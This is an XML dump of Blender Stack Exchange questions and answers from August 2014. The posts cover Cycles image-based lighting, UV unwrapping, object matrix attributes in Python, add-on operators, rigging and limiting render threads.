  <row Id="15227" PostTypeId="1" AcceptedAnswerId="15228" CreationDate="2014-08-23T12:20:21.210" Score="2" ViewCount="1128" Body="&lt;p&gt;For a visualisation I use a HDR image for environment texture. It gives image based lighting, it is also reflected in the model and it also appears as a background behind the model.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I need is that this HDR image continues to affect the model but to use a modified version of this same image to appear as the background behind the model. By a modified version I mean: a far more subdued, faded, colourised, low contrast version of the same image, such as would give a background homogeneous enough to make the model stand out, yet more interesting than a simple gradient.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know I could render the model without any background and composit the modified image in, but is there a way to do it without compositing? A node setup that separates the image texture that gives IBL/reflections from the background image texture, so I could modify the later without affecting the former?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am looking for a one-step solution that requires no post production after rendering...&lt;/p&gt;&#xA;" OwnerUserId="5200" LastActivityDate="2014-08-23T13:20:59.377" Title="IBL with cycles: can I use a different background image from the one that affects the model?" Tags="&lt;rendering&gt;&lt;cycles-render-engine&gt;&lt;nodes&gt;&lt;node-editor&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="15228" PostTypeId="2" ParentId="15227" CreationDate="2014-08-23T13:13:23.227" Score="3" Body="&lt;p&gt;The Cycles render engine uses a ray-traced system, in order to render, so there are multiple rays casted while rendering, and you can use the Lightpath node, in order to determine the type of ray; Take a look at this node setup:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/HlG0f.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You will get this effect:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ST4Gl.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that I added a &lt;em&gt;RGB Curves&lt;/em&gt; node in order to reduce the brightness and contrast of a instance of the image, which is only visible to the camera; The white circle and oval in the image represent the same area, yet look different. Maybe I exaggerated the effect a little bit...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, you can do logical operations such as &lt;code&gt;OR&lt;/code&gt; or &lt;code&gt;AND&lt;/code&gt; in order to use multiple ray types; If you want more details on this, ask it as a new question.&lt;/p&gt;&#xA;" OwnerUserId="3078" LastEditorUserId="3078" LastEditDate="2014-08-23T13:20:59.377" LastActivityDate="2014-08-23T13:20:59.377" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="15229" PostTypeId="2" ParentId="15170" CreationDate="2014-08-23T13:58:01.077" Score="3" Body="&lt;p&gt;After a couple of days of frustration, I have been able to get skeletal animation working fine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here are the details:&lt;br&gt;&#xA;1] Bind pose is obtained from bone.matrix_local&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bone_matrix = bone.matrix_local&#xA;if pose_bone.parent:&#xA;    bone_matrix = bone.matrix_local.inverted() *   bone.matrix_local&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;2] Inverse bindpose also is obtained from bone.matrix_local. But this time it is not relative to parent bone.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;offset_matrix = bone.matrix_local.copy().inverted()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;3] Now the animation data is obtained from pose_bone.matrix as follows:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bone_matrix = pose_bone.matrix&#xA;if pose_bone.parent:&#xA;    bone_matrix = pose_bone.parent.matrix.inverted() * pose_bone.matrix&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This code works fine for me.&lt;/p&gt;&#xA;" OwnerUserId="5694" LastActivityDate="2014-08-23T13:58:01.077" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="15230" PostTypeId="1" CreationDate="2014-08-23T14:09:06.733" Score="2" ViewCount="302" Body="&lt;p&gt;I am using Blender as the 3d asset creation suite for my projects.&#xA;I have an exporter that is able to export mesh, materials, animations and skeletons.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In my home-grown engine, I want to render some materials with alpha blending.&#xA;Specifically, I with to be able to set one of the &lt;a href=&quot;http://keithp.com/~keithp/porterduff/p253-porter.pdf&quot; rel=&quot;nofollow&quot;&gt;Porter/Duff&lt;/a&gt; operators to the materials.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way I can set this from within Blender?&#xA;All I can see is a tranlucency adjustment under material properties.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a settings for alpha Blending mode?&#xA;Or should I use custom property?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in Advance,&#xA;-Valyannan. &lt;/p&gt;&#xA;" OwnerUserId="5694" LastEditorUserId="29" LastEditDate="2014-08-23T16:50:36.940" LastActivityDate="2014-09-23T10:42:46.130" Title="Blender - Set blending mode(Porter-Duff) for a material" Tags="&lt;materials&gt;" AnswerCount="1" CommentCount="1" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="15232" PostTypeId="1" AcceptedAnswerId="15246" CreationDate="2014-08-23T18:18:16.913" Score="4" ViewCount="6636" Body="&lt;p&gt;Is there any way to mark seams to not be cut by Smart UV? I know you can mark seams by hand and they'll be considered by the Smart UV, but I can't seem to find a way to do the opposite.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm trying to use Smart UV to unwrap my edges and then manually edit the seams to hide the cuts behind geometry, but I can't seem to find a way to do that.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A way to mark seams based on edge angles would suit me too, since Smart UV doesn't marks them, it unwraps directly. Then I would be able to unmark seams manually.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance for the help.&lt;/p&gt;&#xA;" OwnerUserId="1936" LastActivityDate="2014-08-24T06:10:06.337" Title="Mark seam to not be cut by Smart UV" Tags="&lt;uv&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="15234" PostTypeId="1" CreationDate="2014-08-23T19:07:26.927" Score="4" ViewCount="140" Body="&lt;p&gt;I have a mesh that I want to smooth by minimizing the second derivative of it, while taking into account non-selected vertices (for the edge condition of this derivative).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, let the following be a 1-Dimensional line of connected vertices (connected left to right):&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;&lt;pre&gt;&lt;code&gt;      .       .&#xA;  .       .&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Where the last two are NOT selected. They determine the slope&#xA;at the end though. So, after smoothing 100% (only changing the vertical coordinate here) the result should look like:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;&lt;pre&gt;&lt;code&gt;              .&#xA;          .&#xA;      .&#xA;  .&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;where the second derivative has been reduced to zero.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Of course, for a 2D mesh the mathematics are a lot more complex and you need an edge condition on all sides; but hopefully you get the picture.&lt;/p&gt;&#xA;" OwnerUserId="5685" LastActivityDate="2014-08-23T21:18:10.943" Title="How to smooth second derivative of selected mesh?" Tags="&lt;mesh&gt;" AnswerCount="0" CommentCount="0" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="15235" PostTypeId="2" ParentId="15159" CreationDate="2014-08-23T20:38:00.067" Score="1" Body="&lt;p&gt;When you zoom you always zoom to distinct point which could be e.g. the object's center or a selected vertex. You can can't beyond the this point by zooming further.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The easiest way is to select another point and press &lt;kbd&gt;Numpad-.&lt;/kbd&gt; (period)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To get away from the close-up is using the mouse wheel or &lt;kbd&gt;Home&lt;/kbd&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Illustration of how it works:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ioKvu.gif&quot; alt=&quot;enter image description here&quot;&gt;&#xA;Resources&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://en.wikibooks.org/wiki/Blender_3D:_Noob_to_Pro/Navigation_in_3D#Zoom&quot; rel=&quot;nofollow noreferrer&quot;&gt;Noob to Pro&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/3D_interaction/Navigating/3D_View&quot; rel=&quot;nofollow noreferrer&quot;&gt;Wiki&lt;/a&gt; &lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="29" LastActivityDate="2014-08-23T20:38:00.067" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15237" PostTypeId="1" CreationDate="2014-08-23T22:09:41.653" Score="1" ViewCount="112" Body="&lt;p&gt;Hello Blender Community,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am attempting to design an object that falls onto a surface, at which point it will begin melting (via a fluid simulation at low speed and high viscosity). I want the object to fully maintain its form until it comes into contact with the surface.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As it stands, I have attempted this design with multiple layers. On layer one is the rigid body object falling onto the surface. On layer two is the exact same object with a fluid simulation applied. As it stands, I have merely switched the layers rendered during the rendering process to simulate the desired effect, but I'm not entirely satisfied with the result. Is there a better way to go about my design?&lt;/p&gt;&#xA;" OwnerUserId="5731" LastActivityDate="2014-08-23T22:09:41.653" Title="Combining Fluid Simulation and Rigid Body Physics: How to melt a falling object?" Tags="&lt;rigid-body-simulation&gt;&lt;fluid-simulation&gt;" AnswerCount="0" CommentCount="3" ClosedDate="2014-08-24T18:12:13.163" ContentLicense="CC BY-SA 3.0" />
  <row Id="15238" PostTypeId="2" ParentId="15159" CreationDate="2014-08-23T22:31:07.990" Score="3" Body="&lt;p&gt;There is no camera object in your scene, and the cube object is set as the scene camera (yes, you can have non-camera objects set as the camera):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/G6na0.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Add a real &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Render/Camera&quot; rel=&quot;nofollow noreferrer&quot;&gt;camera object&lt;/a&gt; by pressing &lt;kbd&gt;&amp;#8679; Shift&lt;/kbd&gt;&lt;kbd&gt;A&lt;/kbd&gt;&lt;em&gt;&gt; Camera&lt;/em&gt; in &lt;em&gt;object mode&lt;/em&gt;, then make it the active scene camera by setting it in &lt;em&gt;Properties editor &gt; Scene &gt; Scene &gt; Camera&lt;/em&gt;, or by pressing &lt;kbd&gt;&amp;#9096; Ctrl&lt;/kbd&gt;&lt;kbd&gt;Numpad 0&lt;/kbd&gt; with it selected:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/IU7rb.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This way you can move the camera object around as you like, and set camera options such as focal length, DoF, lens type, etc.&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="599" LastEditDate="2014-08-23T22:41:07.157" LastActivityDate="2014-08-23T22:41:07.157" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15239" PostTypeId="1" AcceptedAnswerId="15257" CreationDate="2014-08-23T23:29:07.800" Score="1" ViewCount="1060" Body="&lt;p&gt;I am writing an add-on that creates a mesh with several randomly generated aspects. The mesh is generated from default property values when the operator is initially called. These properties are added to the tools panel for the user to modify.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In some cases I want to modify the already generated mesh both to avoid wasted recalculation and to retain the majority of randomly generated features. Ie - it might look the way I want it except for some minor aspect I can change without effecting the overall appearance.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To do this, my property update functions set a flag to indicate whether the property change necessitates a complete regeneration of the mesh or if the existing mesh can be tweaked instead. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am seeing that there is no object to tweak when the operator's execute function is called after a property change. It appears that an undo is performed before the operator is called again.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way to avoid the undo operation? Or a way to store the mesh and access it when the operator is called again?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As an example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;# ------------------------------------------------------------&#xA;# Operator for adding a Thing&#xA;# ------------------------------------------------------------&#xA;class ThingAddOp(bpy.types.Operator):&#xA;&#xA;    ...&#xA;&#xA;    # set a flag indicating a complete regenerate is required&#xA;    def update_regenerate(self, context):&#xA;        self.do_regenerate = True&#xA;&#xA;    # set a flag to indicating a simpler update can be done&#xA;    def update_modify(self, context):&#xA;        self.do_modify = True&#xA;&#xA;    # flags used to determine if Thing should be regenerated or modified&#xA;    do_regenerate = BoolProperty(name='Must regenerate object', default=False, options={'HIDDEN'})&#xA;    do_modify     = BoolProperty(name='Can modify object', default=False, options={'HIDDEN'})&#xA;&#xA;    ...&#xA;&#xA;    def execute(self, context):&#xA;        thing_add(self)&#xA;        self.do_regenerate = False&#xA;        self.do_modify = False&#xA;        return {'FINISHED'}&#xA;&#xA;    @classmethod&#xA;    def poll(cls, context):&#xA;        return context.mode == 'OBJECT' &#xA;&#xA;    def invoke(self, context, event):&#xA;        return self.execute(context)&#xA;&#xA;    def draw(self, context):&#xA;        ...&#xA;&#xA;# ------------------------------------------------------------&#xA;# Creates a random Thing&#xA;# ------------------------------------------------------------&#xA;def thing_add(props):&#xA;    if props.do_modify:&#xA;        # At this point there is no object to modify!!&#xA;        bpy.ops.object.mode_set(mode='EDIT', toggle=False)&#xA;&#xA;        # only resize because the user liked the randomly &#xA;        # generated object but wants to resize the base&#xA;        # without changing the other apsects of it&#xA;        size_base(props)&#xA;    else:&#xA;        create_base(props)   # creates a base with a given size&#xA;        create_spokes(props) # creates randomly oriented spokes&#xA;    bpy.ops.object.mode_set(mode='OBJECT', toggle=False)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="5668" LastActivityDate="2014-08-24T11:22:23.787" Title="Can I avoid an undo when operator is called due to a property change?" Tags="&lt;python&gt;&lt;add-on&gt;" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="15240" PostTypeId="1" CreationDate="2014-08-23T23:30:39.040" Score="8" ViewCount="1388" Body="&lt;p&gt;How do a mesh object's matrix attributes relate to the global position of its vertices:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.blender.org/documentation/blender_python_api_2_71_release/bpy.types.Object.html#bpy.types.Object.matrix_basis&quot;&gt;matrix_basis&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.blender.org/documentation/blender_python_api_2_71_release/bpy.types.Object.html#bpy.types.Object.matrix_local&quot;&gt;matrix_local&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.blender.org/documentation/blender_python_api_2_71_release/bpy.types.Object.html#bpy.types.Object.matrix_parent_inverse&quot;&gt;matrix_parent_inverse&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.blender.org/documentation/blender_python_api_2_71_release/bpy.types.Object.html#bpy.types.Object.matrix_world&quot;&gt;matrix_world&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And what is each of these used for (practical examples, if possible, would be helpful)?&lt;/p&gt;&#xA;" OwnerUserId="417" LastActivityDate="2015-06-17T20:49:16.697" Title="Relationship between global vertex coordinates and mesh object's matrix attributes" Tags="&lt;python&gt;&lt;transforms&gt;" AnswerCount="3" CommentCount="1" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="15242" PostTypeId="1" CreationDate="2014-08-24T01:09:04.427" Score="2" ViewCount="164" Body="&lt;p&gt;My character with his arms spread directly out to the side with the top of his hands facing upwards. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The moment I set the pole target for his arms, the arms rotate in such a way that the palms of his hands are facing their pole targets, instead of upwards.  This is causing some annoying twisting of the mesh.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can fix the twisting by rotating the arm bone's pole angle, but that throws off the direction of the joints towards their pole targets.  i.e. causing knee to bend off to the side of the body instead of out in front of it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is this normal for the arms and legs to rotate towards their pole targets?&lt;/p&gt;&#xA;" OwnerUserId="5733" LastActivityDate="2014-08-24T01:09:04.427" Title="Rigging - Is it normal for limbs to rotate when you set their pole targets?" Tags="&lt;animation&gt;&lt;rigging&gt;" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15244" PostTypeId="2" ParentId="15126" CreationDate="2014-08-24T01:59:05.060" Score="1" Body="&lt;p&gt;A great solution to reconnect those edges without is using the join function &lt;kbd&gt;J&lt;/kbd&gt;, or the knife tool &lt;kbd&gt;K&lt;/kbd&gt;. You can do things differently, but if you have already made the cut, these tools offer a quick way to fix the issue. If there are no edges, between the vertices, you can use the join tool.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The join tool works in cases where there is no edge between the to vertices. &lt;br/&gt;&#xA;&lt;em&gt;Will Work&lt;/em&gt; --------------------------------------------------- &lt;em&gt;Will Not Work&lt;/em&gt;  &lt;br/&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/oqQLpm.png&quot; alt=&quot;enter image description here&quot;&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/wkX2ym.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To use the join tool, select to two vertices you wan't to join, and hit &lt;kbd&gt;J&lt;/kbd&gt;. In cases where you can't use the join tool, use the kinfe tool. hit &lt;kbd&gt;K&lt;/kbd&gt;. Left click on the two vertices you want to join and hit &lt;kbd&gt;Enter&lt;/kbd&gt;.&lt;/p&gt;&#xA;" OwnerUserId="3127" LastActivityDate="2014-08-24T01:59:05.060" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15245" PostTypeId="2" ParentId="15240" CreationDate="2014-08-24T03:04:46.963" Score="7" Body="&lt;p&gt;Practical examples&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;code&gt;Object.matrix_basis&lt;/code&gt; - If you want to modify the loc/scale/rotation directly, as a matrix - without having to worry about what kind of rotation is used - &lt;em&gt;(Euler, Axis-Angle, Quaternion)&lt;/em&gt;.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;code&gt;Object.matrix_local&lt;/code&gt; - Exporters where you want to write out parent relative transformation.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;code&gt;Object.matrix_parent_inverse&lt;/code&gt; - Any tools that handle the transformation relationship between parents and children. &lt;em&gt;(Not used often)&lt;/em&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;code&gt;Object.matrix_world&lt;/code&gt; - Any time you want to know the final transformation of an object after animation, drivers, constraints and parenting are applied. You would want to use this for example - if you are writing to a format like OBJ which doesn't store object transformations.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="55" LastEditorUserId="55" LastEditDate="2014-08-24T09:59:17.720" LastActivityDate="2014-08-24T09:59:17.720" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15246" PostTypeId="2" ParentId="15232" CreationDate="2014-08-24T06:10:06.337" Score="3" Body="&lt;p&gt;The top option of the &lt;em&gt;Unwrapping&lt;/em&gt; dialogue is called &lt;em&gt;Unwrap&lt;/em&gt; and is the best method to use if you want full control over the UV Island creation.  For this method to work properly, you must manually add seams to your model along all edges where you want a seam.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The menu shown in the image below is accessed using &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;e&lt;/kbd&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/6E8E2.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Using &lt;em&gt;Unwrap&lt;/em&gt; with edges already marked with seams, you should get results something like the following.  The seams show up exactly as I placed them on the model.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/c6cTY.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For this next unwrap, I used Smart UV Project.  It's quick and easy but gives you very little control over seam placement.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/j2IcE.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you are using &lt;em&gt;Unwrap&lt;/em&gt;, there is a feature called Live Unwrap which helps speed things up a bit when you are still deciding how to layout the UV islands.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/GKT90.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/pPvTR.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can also work directly in the UV Image Editor when using Live Unwrap by marking new edges with &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;e&lt;/kbd&gt;, this shortcut is different than it is in the 3D View.  For UV's there is no menu, it will behave as if you marked a seam and the Islands will be recalculated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/vHVBa.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When you are finished you should disable Live Unwrap so that you don't accidentally set it off later when you are doing something else and are not paying attention to the UV Image Editor.  You may also want to use -&gt; &lt;em&gt;Mark Seams From Islands&lt;/em&gt; after using &lt;em&gt;Live Unwrap&lt;/em&gt; from directly within the Image Editor since &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;e&lt;/kbd&gt; does not do this automatically, this way you will be able to see the seams in the 3D View highlighted in red.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/BBfe6.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Once you are finished with the seams, you can disable the visibility in the 3D Views right-side panel &lt;kbd&gt;n&lt;/kbd&gt;.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/aTnp1.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1448" LastActivityDate="2014-08-24T06:10:06.337" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="15247" PostTypeId="1" AcceptedAnswerId="15262" CreationDate="2014-08-24T06:51:33.137" Score="18" ViewCount="29660" Body="&lt;p&gt;I need to render a very computer-intensive scene using cycles and for some reasons, I decided to use my home computer (i5 3.30 Ghz, 10 GB RAM, 2TB Hard Drive) to render it. However, the problem is that many people needs to use this computer. So, being generous and feeling responsible, I want to know whether there is a way to configure blender so that it uses only half of the total CPU. (Currently, it is using 100% all the time). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="4931" LastEditorUserId="29301" LastEditDate="2020-02-26T14:47:19.910" LastActivityDate="2020-12-05T05:36:21.467" Title="How to configure blender so that it uses only 50% of total CPU when rendering?" Tags="&lt;rendering&gt;&lt;cycles-render-engine&gt;&lt;performance&gt;" AnswerCount="5" CommentCount="1" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="15248" PostTypeId="2" ParentId="15247" CreationDate="2014-08-24T07:54:05.310" Score="16" Body="&lt;p&gt;While it's often more efficient to leave this to the Operating System, to answer your question specifically with a method that works, look under the &lt;em&gt;Performance Panel&lt;/em&gt; in the &lt;em&gt;Render Settings&lt;/em&gt;. It should be set to use the max amount of CPU threads by default, click &lt;em&gt;Fixed&lt;/em&gt; and set it to half of however many threads your CPU has. It might look a bit different for BI and Cycles but the &lt;em&gt;Threads&lt;/em&gt; part is what you want.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Obviously, you need a CPU with multiple cores for this to work. If you are on a single core machine, altering the value under &lt;em&gt;Fixed&lt;/em&gt; will have no effect and your machine will also not use more threads that the value in &lt;em&gt;Auto-detect&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/NRE2x.png&quot; alt=&quot;Performance Panel&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="12" LastEditorUserId="12" LastEditDate="2014-08-25T22:44:11.687" LastActivityDate="2014-08-25T22:44:11.687" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="15249" PostTypeId="1" AcceptedAnswerId="15250" CreationDate="2014-08-24T08:06:19.137" Score="3" ViewCount="207" Body="&lt;p&gt;I have two layers that have a purple circle around the visiblity &quot;eye&quot; icon in the outliner.  Every time I hit undo, these two purple layers re-appear.  How do I mark them as un purple?&lt;/p&gt;&#xA;" OwnerUserId="5736" LastEditorUserId="12" LastEditDate="2014-08-24T08:24:44.623" LastActivityDate="2014-08-24T08:24:44.623" Title="Hidden layers appear when I hit undo" Tags="&lt;outliner&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15250" PostTypeId="2" ParentId="15249" CreationDate="2014-08-24T08:22:00.763" Score="3" Body="&lt;p&gt;Sounds like you somehow added a driver to an object on one of the layers. Simply right click the eye and choose &lt;em&gt;Delete Driver&lt;/em&gt;. It is an undoable action so if you undo, it will revert so you might want to save the file and reload it.&lt;/p&gt;&#xA;" OwnerUserId="12" LastActivityDate="2014-08-24T08:22:00.763" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="15251" PostTypeId="2" ParentId="15219" CreationDate="2014-08-24T09:18:57.120" Score="3" Body="&lt;p&gt;First be warned the BGE is currently extremely buggy. Some settings lead to unreproducible effects. Sometimes GLSL renders everything white in the internal player but the external still works (Reloading the .blend or restarting Blender fixes this). Everytime I try to reproduce it with a saved file it doesn't happen (so I can't file a bug-report).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Setup of transparent material:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/S6vSI.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For other materials of faces that become visible through the transparency of the windows disable &lt;em&gt;Backface Culling&lt;/em&gt; otherwise the faces wouldn't be rendered because Blender would assume that the faces aren't visible.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A simple scene with left window without faces and right window with z-tranparency material.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Shading Mode set to Multitexture:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/SRnvt.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Shading Mode set to GLSL&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/yTILB.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You find the &lt;em&gt;Shading  Mode&lt;/em&gt; in the &lt;em&gt;3D Viewport's&lt;/em&gt; properties panel:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/oQNyB.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://pasteall.org/blend/31162&quot; rel=&quot;nofollow noreferrer&quot;&gt;Demo .blend&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="29" LastActivityDate="2014-08-24T09:18:57.120" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
